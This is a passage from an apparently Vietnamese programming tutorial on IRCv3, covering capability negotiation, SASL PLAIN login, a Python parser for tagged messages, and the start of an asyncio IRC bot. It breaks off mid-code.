&lt;code&gt;CAP LS 302&lt;/code&gt; báo cho server biết client hỗ trợ CAP version 302. Với version này, server có thể trả &lt;strong&gt;giá trị&lt;/strong&gt; cho capability (ví dụ &lt;code&gt;sasl=PLAIN,EXTERNAL&lt;/code&gt;) và tách danh sách thành nhiều dòng. Dòng nào còn tiếp thì có dấu &lt;code&gt;*&lt;/code&gt; trước danh sách.&lt;/li&gt;
&lt;li&gt;Khi bạn đã gửi &lt;code&gt;CAP LS&lt;/code&gt;, server sẽ &lt;strong&gt;giữ lại&lt;/strong&gt; quá trình registration cho tới khi bạn gửi &lt;code&gt;CAP END&lt;/code&gt;. Nhờ vậy SASL mới chạy được trước khi vào mạng.
&lt;/li&gt;
&lt;/ul&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;sequenceDiagram
    participant C as Client
    participant S as Server
    C-&amp;gt;&amp;gt;S: CAP LS 302
    C-&amp;gt;&amp;gt;S: NICK / USER
    S--&amp;gt;&amp;gt;C: CAP * LS :sasl server-time ...
    C-&amp;gt;&amp;gt;S: CAP REQ :sasl server-time message-tags
    S--&amp;gt;&amp;gt;C: CAP * ACK :sasl server-time message-tags
    C-&amp;gt;&amp;gt;S: AUTHENTICATE PLAIN
    S--&amp;gt;&amp;gt;C: AUTHENTICATE +
    C-&amp;gt;&amp;gt;S: AUTHENTICATE base64 credentials
    S--&amp;gt;&amp;gt;C: 903 SASL successful
    C-&amp;gt;&amp;gt;S: CAP END
    S--&amp;gt;&amp;gt;C: 001 Welcome&lt;/code&gt;&lt;/pre&gt;



&lt;h2&gt;
  
  
  3. Parse message có tags, đúng spec
&lt;/h2&gt;

&lt;p&gt;Một message IRCv3 đầy đủ trông như sau:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;@time=2026-10-12T03:15:00.000Z;msgid=abc123 :andy!~a@host PRIVMSG #python :xin chào
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cấu trúc gồm: &lt;code&gt;@tags&lt;/code&gt; (tùy chọn), &lt;code&gt;:prefix&lt;/code&gt; (tùy chọn), command, params, và trailing param bắt đầu bằng &lt;code&gt;:&lt;/code&gt;. Chỗ nhiều người làm sai là &lt;strong&gt;escaping&lt;/strong&gt; trong tag value: &lt;code&gt;\:&lt;/code&gt; là &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;\s&lt;/code&gt; là dấu cách, &lt;code&gt;\\&lt;/code&gt; là backslash, &lt;code&gt;\r&lt;/code&gt; và &lt;code&gt;\n&lt;/code&gt; là CR/LF. Backslash đứng cuối chuỗi thì bỏ đi. Escape không hợp lệ thì giữ lại ký tự phía sau.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;ESC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ESC&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
            &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
            &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;tags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;@&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:].&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;partition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;tags&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:].&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; :&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;trailing&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; :&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;trailing&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;tags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;

&lt;span class="c1"&gt;# Test nhanh
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;@time=2026-10-12T03:15:00.000Z;note=a&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;sb :x!y@z PRIVMSG #c :hi there&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="c1"&gt;# ({'time': '2026-10-12T03:15:00.000Z', 'note': 'a b'}, 'x!y@z', 'PRIVMSG', ['#c', 'hi there'])
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Đừng dùng regex cho phần này. Parser viết tay ngắn hơn, dễ test hơn, và xử lý được edge case như tag không có value (&lt;code&gt;+typing&lt;/code&gt; hay &lt;code&gt;draft/bot&lt;/code&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Bot asyncio hoàn chỉnh với SASL
&lt;/h2&gt;

&lt;p&gt;Bot dưới đây chạy với Python 3.10 trở lên, chỉ dùng stdlib. Nó xử lý toàn bộ flow: negotiation, SASL PLAIN, join kênh, rồi in message kèm timestamp từ server.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart LR
    A[TLS socket] --&amp;gt; B[readline]
    B --&amp;gt; C[parse tags/prefix/cmd]
    C --&amp;gt; D{Command}
    D --&amp;gt;|CAP/AUTHENTICATE| E[Negotiation state]
    D --&amp;gt;|PING| F[PONG]
    D --&amp;gt;|PRIVMSG| G[Handler + server-time]
    E --&amp;gt; H[writer.drain]
    F --&amp;gt; H
    G --&amp;gt; H&lt;/code&gt;&lt;/pre&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;

&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;irc.libera.chat&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6697&lt;/span&gt;
&lt;span class="n"&gt;NICK&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;IRC_NICK&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;vn_dev_bot&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;PASSWORD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;IRC_PASSWORD&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="c1"&gt;# đừng hardcode
&lt;/span&gt;&lt;span class="n"&gt;WANTED&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sasl&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;server-time&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;message-tags&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;echo-message&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;writer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open_connection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create_default_context&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="n"&gt;send&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;CAP LS 302&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;NICK &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NICK&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;USER &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NICK&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; 0 * :&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NICK&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;available&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readline&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;replace&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;rstrip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;tags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PING&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PONG :&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;CAP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;LS&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
